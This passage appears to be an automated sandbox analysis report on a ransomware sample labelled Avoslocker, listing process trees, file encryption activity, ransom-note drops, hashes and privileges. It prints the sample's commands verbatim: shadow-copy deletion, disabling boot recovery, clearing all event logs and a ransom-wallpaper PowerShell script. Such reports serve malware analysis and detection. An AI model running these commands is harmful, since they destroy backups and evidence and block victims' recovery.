PID 2564 wrote to memory of 2364 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2564 wrote to memory of 2364 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1252 wrote to memory of 1296 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1252 wrote to memory of 1296 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1252 wrote to memory of 1296 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1252 wrote to memory of 1296 N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1296 wrote to memory of 224 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 1296 wrote to memory of 224 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 1296 wrote to memory of 224 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 1296 wrote to memory of 3536 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 1296 wrote to memory of 3536 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 1296 wrote to memory of 3536 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe

"C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe"

C:\Windows\system32\cmd.exe

cmd /c wmic shadowcopy delete /nointeractive

C:\Windows\system32\cmd.exe

cmd /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\cmd.exe

cmd /c bcdedit /set {default} recoveryenabled No

C:\Windows\system32\cmd.exe

cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\cmd.exe

cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete /nointeractive

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled No

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$a = [System.IO.File]::ReadAllText(\"F:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1172194971.png /f

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False

Network

N/A

Files

memory/1252-0-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-2-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-3-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-7-0x0000000000330000-0x0000000000331000-memory.dmp

memory/1252-6-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-5-0x0000000000401000-0x000000000049D000-memory.dmp

memory/1252-4-0x0000000001D20000-0x0000000001D63000-memory.dmp

memory/1252-1-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-8-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-9-0x0000000000400000-0x00000000004E5000-memory.dmp

F:\GET_YOUR_FILES_BACK.txt

MD5 01188d22b1675e3437b1418e14f4ffab
SHA1 6e7127f3bbfce49485ed8f1acf8f697bcb952818
SHA256 e4b3ac00a0b2eb195b26abffbc4368077384e73393e51605edda17dae05ab7f2
SHA512 6903ae3247f32ad79c60a2062cd6a7bdbf5a7c9db1bdc43bdbef4da3396945014d30968ea4c8531a2d0c7b695f1ea36e2b8c51bb39cc6157c4096ac04a6e187d

memory/1252-10-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2364-599-0x000000001B380000-0x000000001B662000-memory.dmp

memory/2364-604-0x0000000002490000-0x0000000002498000-memory.dmp

memory/1252-3396-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-6583-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-6531-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-7498-0x0000000001D20000-0x0000000001D63000-memory.dmp

memory/1252-7499-0x0000000000401000-0x000000000049D000-memory.dmp

memory/1252-7500-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-8395-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-10182-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-14349-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-19542-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-23250-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-24483-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1252-24484-0x0000000001D20000-0x0000000001D63000-memory.dmp

memory/1252-24485-0x0000000000401000-0x000000000049D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 3291f54f33ef903dc784d3a5a0662a39
SHA1 2713596bb41a53cbaf004493f870e8728790419b
SHA256 e7717c0d1ec1f106533f367496f548d6a9240f98e80808c545357237c1cbf1fa
SHA512 af89c0db49ab333764d112550e494216681e25537eaddf5e07176c1ab4d0f8f353597794167fa8410ee78df42e896ea1ee90514b064b59bc2e117a17c763353e

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/1296-24492-0x000000001B230000-0x000000001B512000-memory.dmp

memory/1296-24493-0x0000000002410000-0x0000000002418000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-30 13:33

Reported

2024-05-30 13:35

Platform

win10v2004-20240508-en

Max time kernel

148s

Max time network

152s

Command Line

"C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe"

Signatures

Avoslocker Ransomware

ransomware avoslocker

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (8485) files with added filename extension

ransomware

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\723567752.png" C:\Windows\system32\reg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\tesselate.x3d C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\en\DatabaseCompare_f_col.hxk C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CONCRETE\PREVIEW.GIF C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\offsymb.ttf C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_proxy\beta.identity_helper.exe.manifest C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\System\ado\msado26.tlb C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ca-es\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-gb\ui-strings.js C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PowerPointR_Retail-ul-phn.xrm-ms C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-GoogleCloudCache.scale-125.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\vi\msipc.dll.mui C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\es-419.pak.DATA C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\illustrations.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\nb-no\ui-strings.js C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailAppList.targetsize-32_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\hu-hu\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fi-fi\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\cs-cz\ui-strings.js C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\LISTS\1033\TIME.XML C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\zh-cn\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fr-ma\ui-strings.js C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Advanced-Light.scale-200.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunpkcs11.jar C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ca-es\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Access2019R_Trial-pl.xrm-ms C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PublisherR_Grace-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Common Files\System\es-ES\wab32res.dll.mui C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\LinkedInboxBadge.scale-400.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTest5-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Outlook2019R_Retail-pl.xrm-ms C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\ipsnld.xml C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugin.js C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxCalendarWideTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\ExchangeSmallTile.scale-100.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.contrast-black_scale-180.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTrial2-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_LinkDrop32x32.gif C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\hr-hr\ui-strings.js C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\cy\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SPRING\PREVIEW.GIF C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\ja-JP\PackageManagementDscUtilities.strings.psd1 C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Windows Media Player\Media Renderer\DMR_120.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ar_get.svg C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\GenericMailBadge.scale-150.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Templates\1033\ONENOTE\16\Stationery\PLANNERS.ONE C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\it.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\VisualElements\SmallLogoDev.png.DATA C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\ui-strings.js C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxCalendarBadge.scale-125.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\EmptyShare.scale-150.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\download-btn.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\EmptyShare.scale-150.png C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Integration\C2RManifest.dcfmui.msi.16.en-us.xml C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Google\Chrome\Application\110.0.5481.104\Locales\it.pak C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files (x86)\Windows NT\TableTextService\en-US\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ca-es\ui-strings.js C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\sendforsignature.svg C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\vlc.mo C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\it-it\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\uk-ua\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Integration\C2RManifest.PowerView.PowerView.x-none.msi.16.x-none.xml C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
File opened for modification C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\05a53b88ceab3708ce07d5c879978265a090975c5ff063b7bea3b045c99b134b.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
